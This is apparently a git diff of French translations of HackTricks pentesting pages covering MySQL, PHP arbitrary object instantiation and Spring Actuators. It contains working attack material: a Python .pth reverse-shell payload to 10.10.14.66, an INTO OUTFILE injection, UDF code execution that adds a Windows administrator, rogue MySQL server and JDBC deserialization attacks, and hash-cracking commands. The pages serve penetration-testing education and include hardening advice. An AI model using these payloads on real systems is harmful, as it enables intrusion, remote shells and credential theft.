- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)

116
src/network-services-pentesting/pentesting-mysql.md
View File

@ -4,7 +4,7 @@
## **Informations de base**
**MySQL** peut être décrit comme un open source **Relational Database Management System (RDBMS)** disponible gratuitement. Il fonctionne avec le **Structured Query Language (SQL)**, permettant la gestion et la manipulation des bases de données.
**MySQL** peut être décrit comme un **Système de Gestion de Base de Données Relationnelle (RDBMS)** open source disponible gratuitement. Il fonctionne avec le **langage de requêtes structuré (SQL)**, permettant la gestion et la manipulation des bases de données.
**Port par défaut :** 3306
```
@ -24,7 +24,7 @@ mysql -h <Hostname> -u root@localhost
```
## External Enumeration
Certaines actions d'enumeration nécessitent des credentials valides.
Certaines actions d'enumeration nécessitent des credentials valides
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
@ -103,7 +103,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
```
Vous pouvez consulter dans la documentation la signification de chaque privilège : [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL File RCE
### RCE de fichier MySQL
{{#ref}}
@ -112,28 +112,28 @@ Vous pouvez consulter dans la documentation la signification de chaque privilèg
#### INTO OUTFILE → Python `.pth` RCE (hooks de configuration spécifiques au site)
Abusant du classique `INTO OUTFILE` primitive, il est possible d'obtenir *arbitrary code execution* sur des cibles qui exécutent ensuite des scripts **Python**.
En abusant du classique primitive `INTO OUTFILE`, il est possible d'obtenir une *exécution de code arbitraire* sur des cibles qui exécutent ensuite des scripts **Python**.
1. Utilisez `INTO OUTFILE` pour déposer un fichier **`.pth`** personnalisé dans n'importe quel répertoire chargé automatiquement par `site.py` (ex. `.../lib/python3.10/site-packages/`).
2. Le fichier `.pth` peut contenir une *seule ligne* commençant par `import ` suivie de code Python arbitraire qui sera exécuté à chaque démarrage de l'interpréteur.
3. Lorsque l'interpréteur est exécuté implicitement par un script CGI (par exemple `/cgi-bin/ml-draw.py` avec shebang `#!/bin/python`), le payload est exécuté avec les mêmes privilèges que le processus du serveur web (FortiWeb l'a exécuté en tant que **root** → full pre-auth RCE).
1. Utiliser `INTO OUTFILE` pour déposer un **fichier `.pth`** personnalisé dans n'importe quel répertoire chargé automatiquement par `site.py` (par ex. `.../lib/python3.10/site-packages/`).
2. Le fichier `.pth` peut contenir une *seule ligne* commençant par `import ` suivie d'un code Python arbitraire qui sera exécuté à chaque démarrage de l'interpréteur.
3. Lorsque l'interpréteur est implicitement exécuté par un script CGI (par exemple `/cgi-bin/ml-draw.py` avec shebang `#!/bin/python`) le payload est exécuté avec les mêmes privilèges que le processus du serveur web (FortiWeb l'a exécuté en tant que **root** → full pre-auth RCE).
Exemple de payload `.pth` (ligne unique, aucun espace ne peut être inclus dans le payload SQL final, donc hex/`UNHEX()` ou concaténation de chaînes peut être nécessaire):
Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
Exemple de création du fichier via une requête **UNION** (les espaces remplacés par `/**/` pour contourner un filtre d'espace `sscanf("%128s")` et maintenir la longueur totale ≤128 octets):
Exemple de création du fichier via une requête **UNION** (les caractères d'espace remplacés par `/**/` pour contourner un filtre d'espaces `sscanf("%128s")` et garder la longueur totale ≤128 octets) :
```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
```
Limitations importantes et contournements :
Important limitations & bypasses:
* `INTO OUTFILE` **ne peut pas écraser** les fichiers existants ; choisissez un nouveau nom de fichier.
* Le chemin de fichier est résolu **par rapport au CWD de MySQL**, donc préfixer par `../../` permet de raccourcir le chemin et de contourner les restrictions sur les chemins absolus.
* Si l'entrée de l'attaquant est extraite avec `%128s` (ou similaire), tout espace tronquera le payload ; utilisez les séquences de commentaires MySQL `/**/` ou `/*!*/` pour remplacer les espaces.
* L'utilisateur MySQL exécutant la requête a besoin du privilège `FILE`, mais dans de nombreux appliances (par ex. FortiWeb) le service s'exécute en tant que **root**, donnant un accès en écriture presque partout.
* Le chemin du fichier est résolu **par rapport au CWD de MySQL**, donc préfixer avec `../../` permet de raccourcir le chemin et de contourner les restrictions de chemin absolu.
* Si l'entrée de l'attaquant est extraite avec `%128s` (ou similaire) tout espace tronquera le payload ; utilisez les séquences de commentaire MySQL `/**/` ou `/*!*/` pour remplacer les espaces.
* L'utilisateur MySQL exécutant la requête a besoin du privilège `FILE`, mais sur de nombreux appliances (p. ex. FortiWeb) le service tourne en tant que **root**, donnant un accès en écriture presque partout.
Après avoir déposé le fichier `.pth`, il suffit de requêter n'importe quel CGI géré par l'interpréteur python pour obtenir l'exécution de code :
Après avoir déposé le `.pth`, il suffit de solliciter n'importe quel CGI géré par l'interpréteur python pour obtenir code execution:
```
GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target>
@ -149,8 +149,8 @@ uid=0(root) gid=0(root) groups=0(root)
## MySQL lecture arbitraire de fichiers par le client
En réalité, lorsque vous essayez de **load data local into a table** le **contenu d'un fichier**, le serveur MySQL ou MariaDB demande au **client de le lire** et d'envoyer son contenu. **Donc, si vous pouvez altérer un mysql client pour qu'il se connecte à votre propre MySQL server, vous pouvez lire des fichiers arbitraires.**\
Veuillez noter que ceci est le comportement en utilisant :
En pratique, lorsque vous utilisez **load data local into a table** pour charger le **contenu d'un fichier**, le serveur MySQL ou MariaDB demande au **client de le lire** et d'envoyer ce contenu. **Alors, si vous pouvez manipuler un mysql client pour qu'il se connecte à votre propre serveur MySQL, vous pouvez lire des fichiers arbitraires.**\
Veuillez noter que ce comportement se produit en utilisant:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
@ -160,9 +160,9 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**PoC initial:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Dans cet article vous trouverez une description complète de l'attaque et même comment l'étendre à RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Vous trouverez ici un aperçu de l'attaque:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
**PoC initial :** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Dans cet article vous pouvez voir une description complète de l'attaque et même comment l'étendre en RCE :** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Ici vous trouverez un aperçu de l'attaque :** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
​
@ -172,23 +172,23 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
### Utilisateur Mysql
Ce sera très intéressant si mysql s'exécute en tant que **root**:
Ce sera très intéressant si mysql tourne en tant que **root**:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
```
#### Paramètres dangereux de mysqld.cnf
Dans la configuration des services MySQL, divers paramètres sont utilisés pour définir son fonctionnement et ses mesures de sécurité :
Dans la configuration des services MySQL, plusieurs paramètres sont utilisés pour définir son fonctionnement et ses mesures de sécurité :
- Le paramètre **`user`** est utilisé pour désigner l'utilisateur sous lequel le service MySQL s'exécutera.
- **`password`** est appliqué pour définir le mot de passe associé à l'utilisateur MySQL.
- Le paramètre **`user`** sert à désigner l'utilisateur sous lequel le service MySQL sera exécuté.
- **`password`** est utilisé pour définir le mot de passe associé à l'utilisateur MySQL.
- **`admin_address`** spécifie l'adresse IP qui écoute les connexions TCP/IP sur l'interface réseau administrative.
- La variable **`debug`** indique les configurations de débogage présentes, incluant des informations sensibles dans les journaux.
- **`sql_warnings`** contrôle si des chaînes d'information sont générées pour les instructions INSERT à une seule ligne lorsque des avertissements surviennent, contenant des données sensibles dans les journaux.
- Avec **`secure_file_priv`**, la portée des opérations d'importation et d'exportation de données est restreinte pour améliorer la sécurité.
- La variable **`debug`** indique les configurations de débogage en cours, pouvant inclure des informations sensibles dans les logs.
- **`sql_warnings`** contrôle si des chaînes d'information sont générées pour les instructions INSERT à ligne unique lorsqu'apparaissent des avertissements, ce qui peut introduire des données sensibles dans les logs.
- Avec **`secure_file_priv`**, la portée des opérations d'import/export de données est restreinte pour renforcer la sécurité.
### Escalade de privilèges
### Privilege escalation
```bash
# Get current user (an all users) privileges and hashes
use mysql;
@ -208,16 +208,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Privilege Escalation via library
Si le **mysql server is running as root** (ou un autre utilisateur plus privilégié) vous pouvez le faire exécuter des commandes. Pour cela, vous devez utiliser des **user defined functions**. Et pour créer une user defined vous aurez besoin d'une **bibliothèque** pour le système d'exploitation qui exécute mysql.
Si le **mysql server is running as root** (ou un autre utilisateur plus privilégié), vous pouvez le faire exécuter des commandes. Pour cela, vous devez utiliser des **user defined functions**. Et pour en créer une, vous aurez besoin d'une **library** pour l'OS qui exécute mysql.
La bibliothèque malveillante à utiliser peut être trouvée dans sqlmap et dans metasploit en lançant **`locate "*lib_mysqludf_sys*"`**. Les fichiers **`.so`** sont des bibliothèques **linux** et les **`.dll`** sont celles de **Windows**, choisissez celle dont vous avez besoin.
La library malveillante à utiliser peut se trouver dans sqlmap et metasploit en lançant **`locate "*lib_mysqludf_sys*"`**. Les fichiers **`.so`** sont des bibliothèques **linux** et les **`.dll`** sont celles de **Windows** ; choisissez celle dont vous avez besoin.
Si vous n'avez pas ces bibliothèques, vous pouvez soit les rechercher, soit télécharger ce [**linux C code**](https://www.exploit-db.com/exploits/1518) et le compiler sur la machine vulnérable linux :
Si vous **n'avez pas** ces libraries, vous pouvez soit **les chercher**, soit télécharger ce [**linux C code**](https://www.exploit-db.com/exploits/1518) et **le compiler sur la machine linux vulnérable** :
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
Maintenant que vous avez la bibliothèque, connectez-vous dans Mysql en tant qu'utilisateur privilégié (root ?) et suivez les étapes suivantes :
Maintenant que vous avez la bibliothèque, connectez-vous dans le Mysql en tant qu'utilisateur privilégié (root?) et suivez les étapes suivantes :
#### Linux
```sql
@ -251,30 +251,30 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
#### Astuce Windows: créer des répertoires avec NTFS ADS depuis SQL
#### Astuce Windows : créer des répertoires avec NTFS ADS depuis SQL
Sur NTFS, vous pouvez forcer la création d'un répertoire en utilisant un flux de données alternatif même lorsqu'il n'existe qu'une primitive d'écriture de fichier. Si la chaîne UDF classique attend un répertoire `plugin` mais qu'il n'existe pas et que `@@plugin_dir` est inconnu ou verrouillé, vous pouvez le créer d'abord avec `::$INDEX_ALLOCATION`:
Sur NTFS, vous pouvez forcer la création de répertoires en utilisant un flux de données alternatif (ADS) même lorsque seule une primitive d'écriture de fichier existe. Si la classique UDF chain attend un répertoire `plugin` mais qu'il n'existe pas et que `@@plugin_dir` est inconnu ou verrouillé, vous pouvez le créer d'abord avec `::$INDEX_ALLOCATION`:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
Cela transforme l'utilisation limitée de `SELECT ... INTO OUTFILE` en une primitive plus complète sur les stacks Windows en créant la structure de dossiers nécessaire pour les UDF drops.
Cela transforme le `SELECT ... INTO OUTFILE` limité en une primitive plus complète sur les stacks Windows en créant la structure de dossiers nécessaire pour le dépôt d'UDF.
### Extraction des identifiants MySQL depuis des fichiers
Dans _/etc/mysql/debian.cnf_ vous pouvez trouver le **mot de passe en clair** de l'utilisateur **debian-sys-maint**.
Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint**
```bash
cat /etc/mysql/debian.cnf
```
Vous pouvez **utiliser ces identifiants pour vous connecter à la base de données mysql**.
Dans le fichier : _/var/lib/mysql/mysql/user.MYD_ vous pouvez trouver **tous les hashes des utilisateurs MySQL** (ceux que vous pouvez extraire de mysql.user inside the database)_._
Dans le fichier : _/var/lib/mysql/mysql/user.MYD_ vous pouvez trouver **tous les hashes des utilisateurs MySQL** (ceux que vous pouvez extraire depuis mysql.user dans la base de données)_._
Vous pouvez les extraire en faisant :
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
### Activation de la journalisation
### Activer la journalisation
Vous pouvez activer la journalisation des requêtes mysql dans `/etc/mysql/my.cnf` en décommentant les lignes suivantes :
@ -297,14 +297,14 @@ Fichiers de configuration
- /var/lib/mysql/my.cnf
- \~/.my.cnf
- /etc/my.cnf
- Command History
- Historique des commandes
- \~/.mysql.history
- Log Files
- Fichiers de log
- connections.log
- update.log
- common.log
## Bases/Tables MySQL par défaut
## Bases de données/tables MySQL par défaut
{{#tabs}}
{{#tab name="information_schema"}}
@ -655,36 +655,36 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 Highlights (new)
## 2023-2025 Faits marquants (nouveau)
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
À partir de Connector/J <= 8.0.32, un attaquant qui peut influencer la **JDBC URL** (par exemple dans un logiciel tiers qui demande une chaîne de connexion) peut demander le chargement de classes arbitraires côté *client* via le paramètre `propertiesTransform`. Si un gadget présent sur le class-path est chargeable, cela aboutit à **remote code execution in the context of the JDBC client** (pre-auth, because no valid credentials are required). Un PoC minimal ressemble à :
À partir de Connector/J <= 8.0.32, un attaquant pouvant influencer la **JDBC URL** (par exemple dans un logiciel tiers qui demande une connection string) peut demander le chargement de classes arbitraires côté *client* via le paramètre `propertiesTransform`. Si un gadget présent sur le class-path peut être chargé, cela entraîne une **remote code execution in the context of the JDBC client** (pre-auth, because no valid credentials are required). Un PoC minimal ressemble à :
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Exécuter `Evil.class` peut être aussi simple que de le placer sur le class-path de l'application vulnérable ou de laisser un serveur MySQL rogue envoyer un objet sérialisé malveillant. Le problème a été corrigé dans Connector/J 8.0.33 – mettez à jour le driver ou définissez explicitement `propertiesTransform` dans une liste d'autorisation.
(See Snyk write-up for details)
Exécuter `Evil.class` peut être aussi simple que de le placer sur le class-path de l'application vulnérable ou de laisser un rogue MySQL server envoyer un objet sérialisé malveillant. Le problème a été corrigé dans Connector/J 8.0.33 – mettez à jour le driver ou définissez explicitement `propertiesTransform` dans une allow-list.
(Voir Snyk write-up pour les détails)
### Rogue / Fake MySQL server attacks against JDBC clients
Plusieurs outils open-source implémentent un protocole MySQL *partiel* afin d'attaquer des clients JDBC qui se connectent vers l'extérieur :
Several open-source tools implement a *partial* MySQL protocol in order to attack JDBC clients that connect outwards:
* **mysql-fake-server** (Java, prend en charge la lecture de fichiers et les exploits de désérialisation)
* **rogue_mysql_server** (Python, capacités similaires)
* **mysql-fake-server** (Java, supports file read and deserialization exploits)
* **rogue_mysql_server** (Python, similar capabilities)
Scénarios d'attaque typiques :
Typical attack paths:
1. L'application victime charge `mysql-connector-j` avec `allowLoadLocalInfile=true` ou `autoDeserialize=true`.
2. L'attaquant contrôle le DNS / l'entrée hosts pour que le nom d'hôte de la DB pointe vers une machine sous son contrôle.
3. Le serveur malveillant répond par des paquets craftés qui déclenchent soit une lecture de fichier arbitraire via `LOCAL INFILE`, soit une désérialisation Java → RCE.
2. L'attaquant contrôle le DNS / l'entrée host de sorte que le nom d'hôte de la DB se résolve vers une machine sous son contrôle.
3. Le serveur malveillant répond avec des paquets spécialement conçus qui déclenchent soit `LOCAL INFILE` (arbitrary file read), soit une Java deserialization → RCE.
Exemple de one-liner pour démarrer un faux serveur (Java) :
Example one-liner to start a fake server (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Ensuite, pointez l'application victime vers `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` et lisez `/etc/passwd` en encodant le nom de fichier en base64 dans le champ *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Craquage des hashes `caching_sha2_password`
MySQL ≥ 8.0 stocke les hashes de mot de passe au format **`$mysql-sha2$`** (SHA-256). Hashcat (mode **21100**) et John-the-Ripper (`--format=mysql-sha2`) supportent le cracking hors ligne depuis 2023. Dump la colonne `authentication_string` et alimentez-la directement :
### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0 stocke les password hashes sous **`$mysql-sha2$`** (SHA-256). Hashcat (mode **21100**) et John-the-Ripper (`--format=mysql-sha2`) prennent en charge le offline cracking depuis 2023. Dump the `authentication_string` column et alimentez-la directement :
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -693,12 +693,12 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Checklist de durcissement (2025)
• Définir **`LOCAL_INFILE=0`** et **`--secure-file-priv=/var/empty`** pour désactiver la plupart des primitives de lecture/écriture de fichiers.
• Retirer le privilège **`FILE`** des comptes applicatifs.
### Liste de durcissement (2025)
• Set **`LOCAL_INFILE=0`** and **`--secure-file-priv=/var/empty`** to kill most file-read/write primitives.
• Retirer le **`FILE`** privilege des comptes applicatifs.
• Sur Connector/J, définir `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vide).
• Désactiver les plugins d'authentification inutilisés et exiger TLS (`require_secure_transport = ON`).
• Surveiller les instructions `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` et les instructions `SET GLOBAL` soudaines.
• Désactiver les plugins d'authentification inutilisés et **exiger TLS** (`require_secure_transport = ON`).
• Surveiller les `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` et les instructions `SET GLOBAL` soudaines.
---

49
src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
View File

@ -1,18 +1,18 @@
# PHP - RCE en abusant de la création d'objets : new $_GET["a"]($_GET["b"])
# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}}
Ceci est essentiellement un résumé de [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
## Introduction
La création de nouveaux objets arbitraires, tels que `new $_GET["a"]($_GET["a"])`, peut conduire à Remote Code Execution (RCE), comme détaillé dans un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Ce document met en avant différentes stratégies pour atteindre une RCE.
La création de nouveaux objets arbitraires, comme `new $_GET["a"]($_GET["a"])`, peut conduire à Remote Code Execution (RCE), comme détaillé dans un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Ce document met en lumière différentes stratégies pour obtenir une RCE.
## RCE via classes personnalisées ou autoloading
La syntaxe `new $a($b)` est utilisée pour instancier un objet où **`$a`** représente le nom de la classe et **`$b`** est le premier argument passé au constructeur. Ces variables peuvent provenir d'entrées utilisateur comme GET/POST, où elles peuvent être des chaînes ou des tableaux, ou de JSON, où elles peuvent se présenter sous d'autres types.
La syntaxe `new $a($b)` est utilisée pour instancier un objet où **`$a`** représente le nom de la classe et **`$b`** est le premier argument passé au constructeur. Ces variables peuvent provenir d'entrées utilisateur comme GET/POST, où elles peuvent être strings ou arrays, ou de JSON, où elles peuvent apparaître sous d'autres types.
Considérez l'extrait de code ci‑dessous :
Considérez l'extrait de code ci-dessous:
```php
class App {
function __construct ($cmd) {
@ -31,9 +31,9 @@ $b = $_GET['b'];
new $a($b);
```
Dans cet exemple, assigner `$a` à `App` ou `App2` et `$b` à une commande système (par exemple, `uname -a`) entraîne l'exécution de cette commande.
Dans cet exemple, définir `$a` sur `App` ou `App2` et `$b` sur une commande système (par ex., `uname -a`) entraîne l'exécution de cette commande.
**Autoloading functions** peuvent être exploitées si aucune de ces classes n'est directement accessible. Ces fonctions chargent automatiquement des classes depuis des fichiers lorsque nécessaire et sont définies en utilisant `spl_autoload_register` ou `__autoload` :
**Les fonctions d'autochargement** peuvent être exploitées si aucune de ces classes n'est directement accessible. Ces fonctions chargent automatiquement des classes depuis des fichiers lorsque nécessaire et sont définies en utilisant `spl_autoload_register` ou `__autoload` :
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
@ -47,13 +47,13 @@ spl_autoload_register();
```
Le comportement de l'autoloading varie selon les versions de PHP, offrant différentes possibilités de RCE.
## RCE via des classes intégrées
## RCE via classes intégrées
Faute de classes personnalisées ou d'autoloaders, **built-in PHP classes** peuvent suffire pour obtenir une RCE. Le nombre de ces classes varie entre 100 et 200, selon la version de PHP et les extensions. Elles peuvent être listées en utilisant `get_declared_classes()`.
En l'absence de classes personnalisées ou d'autoloaders, **les classes PHP intégrées** peuvent suffire pour obtenir une RCE. Le nombre de ces classes varie entre 100 et 200, selon la version de PHP et les extensions. Elles peuvent être listées avec `get_declared_classes()`.
Les constructeurs intéressants peuvent être identifiés via la reflection API, comme montré dans l'exemple suivant et le lien [https://3v4l.org/2JEGF].
Les constructeurs intéressants peuvent être identifiés via l'API de reflection, comme montré dans l'exemple suivant et le lien [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
**Les possibilités de RCE via des méthodes spécifiques incluent :**
**RCE via des méthodes spécifiques comprend :**
### **SSRF + Phar Deserialization**
@ -61,57 +61,56 @@ La classe `SplFileObject` permet le SSRF via son constructeur, autorisant des co
```php
new SplFileObject('http://attacker.com/');
```
SSRF peut conduire à des deserialization attacks dans les versions de PHP antérieures à 8.0 en utilisant le protocole Phar.
SSRF peut conduire à des attaques de désérialisation dans les versions de PHP antérieures à 8.0 en utilisant le protocole Phar.
### **Exploiter les PDOs**
Le constructeur de la classe PDO permet des connexions aux bases de données via des chaînes DSN, pouvant potentiellement permettre la création de fichiers ou d'autres interactions:
Le constructeur de la classe PDO permet des connexions aux bases de données via des chaînes DSN, pouvant potentiellement permettre la création de fichiers ou d'autres interactions :
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Les versions de PHP jusqu'à 5.3.22 et 5.4.12 étaient susceptibles aux attaques XXE via les constructeurs `SoapClient` et `SimpleXMLElement`, selon la version de libxml2.
Versions de PHP jusqu'à 5.3.22 et 5.4.12 étaient susceptibles d'attaques XXE via les constructeurs `SoapClient` et `SimpleXMLElement`, en fonction de la version de libxml2.
## RCE via Imagick Extension
Dans l'analyse des **dépendances** d'un projet, il a été découvert que **Imagick** pouvait être exploité pour l'**exécution de commandes** en instanciant de nouveaux objets. Cela offre une opportunité d'exploiter des vulnérabilités.
Lors de l'analyse des **dépendances d'un projet**, il a été découvert que **Imagick** pouvait être exploité pour une **exécution de commandes** en instanciant de nouveaux objets. Cela présente une opportunité d'exploiter des vulnérabilités.
### VID parser
La capacité du parser VID à écrire du contenu vers n'importe quel chemin spécifié du système de fichiers a été identifiée. Cela pourrait permettre le placement d'un web shell PHP dans un répertoire accessible via le web, obtenant ainsi une Remote Code Execution (RCE).
La capacité du VID parser à écrire du contenu vers n'importe quel chemin spécifié dans le système de fichiers a été identifiée. Cela pourrait conduire au placement d'un PHP shell dans un répertoire accessible depuis le web, aboutissant à une Remote Code Execution (RCE).
#### VID Parser + File Upload
Il est noté que PHP stocke temporairement les fichiers uploadés dans `/tmp/phpXXXXXX`. Le parser VID d'Imagick, utilisant le protocole **msl**, peut gérer des caractères génériques dans les chemins de fichiers, facilitant le transfert du fichier temporaire vers un emplacement choisi. Cette méthode offre une approche supplémentaire pour obtenir l'écriture arbitraire de fichiers dans le système de fichiers.
Il est noté que PHP stocke temporairement les fichiers uploadés dans /tmp/phpXXXXXX. Le VID parser d'Imagick, utilisant le protocole **msl**, peut gérer les wildcards dans les chemins de fichiers, facilitant le transfert du fichier temporaire vers un emplacement choisi. Cette méthode offre une approche supplémentaire pour obtenir une écriture de fichier arbitraire dans le système de fichiers.
### PHP Crash + Brute Force
Une méthode décrite dans le [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) consiste à uploader des fichiers qui provoquent le crash du serveur avant leur suppression. En brute-forceant le nom du fichier temporaire, il devient possible pour Imagick d'exécuter du code PHP arbitraire. Cependant, cette technique s'est avérée efficace uniquement sur une version obsolète d'ImageMagick.
A method described in the [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick.
## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
Lorsque l'entrée utilisateur contrôle le nom de la classe (par ex. `new $_GET['model']()`), PHP 7.0.0 a introduit un bug transitoire lors du refactoring de `Throwable` où le moteur traitait par erreur le nom de la classe comme une chaîne de format pour printf pendant la résolution. Cela permet les primitives classiques de style printf à l'intérieur de PHP : des leaks avec `%p`, le contrôle du compteur d'écriture via des spécificateurs de largeur, et des écritures arbitraires avec `%n` contre des pointeurs en processus (par exemple, des entrées GOT sur les builds ELF).
Lorsqu'une entrée utilisateur contrôle le nom de classe (par ex., `new $_GET['model']()`), PHP 7.0.0 a introduit un bug transitoire lors du refactor de `Throwable` où le moteur traitait par erreur le nom de la classe comme une chaîne de format printf lors de la résolution. Cela permet les primitives classiques de style printf à l'intérieur de PHP : leaks avec `%p`, contrôle du compteur d'écriture avec des spécificateurs de largeur, et écritures arbitraires avec `%n` contre des pointeurs en processus (par exemple, les GOT entries sur les builds ELF).
Exemple minimal reproductible vulnérable:
Minimal repro vulnerable pattern:
```php
<?php
$model = $_GET['model'];
$object = new $model();
```
Plan d'exploitation (d'après la référence) :
- Leak des adresses via `%p` dans le nom de la classe pour trouver une cible écrivable :
- Leak des adresses via `%p` dans le nom de classe pour trouver une cible écrivable :
```bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
```
- Use positional parameters and width specifiers pour définir un nombre exact d'octets, puis `%n` pour écrire cette valeur à une adresse accessible sur la stack, en visant un slot GOT (par ex., `free`) pour le remplacer partiellement par `system`.
- Utiliser des paramètres positionnels et des spécificateurs de largeur pour définir un nombre exact d'octets, puis `%n` pour écrire cette valeur à une adresse accessible sur la stack, en visant une entrée GOT (par ex., `free`) pour l'écraser partiellement vers `system`.
- Déclencher la fonction détournée en passant un nom de classe contenant un shell pipe pour atteindre `system("id")`.
Remarques :
- Fonctionne uniquement sur PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); corrigé dans les versions suivantes. Gravité : critique si l'instantiation arbitraire de classes existe.
- Les payloads typiques enchaînent de nombreux `%p` pour parcourir la stack, puis `%.<width>d%<pos>$n` pour réaliser l'écrasement partiel.
- Fonctionne uniquement sur PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)) ; corrigé dans les versions suivantes. Gravité : critique si une instanciation de classe arbitraire est possible.
- Les payloads typiques enchaînent de nombreux `%p` pour parcourir la stack, puis `%.<width>d%<pos>$n` pour effectuer l'écrasement partiel.
## Références

60
src/network-services-pentesting/pentesting-web/spring-actuators.md
View File

@ -6,30 +6,30 @@
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
**Depuis** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Exploiting Spring Boot Actuators
## Exploitation des Spring Boot Actuators
**Consultez l'article original sur** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
### **Points clés :**
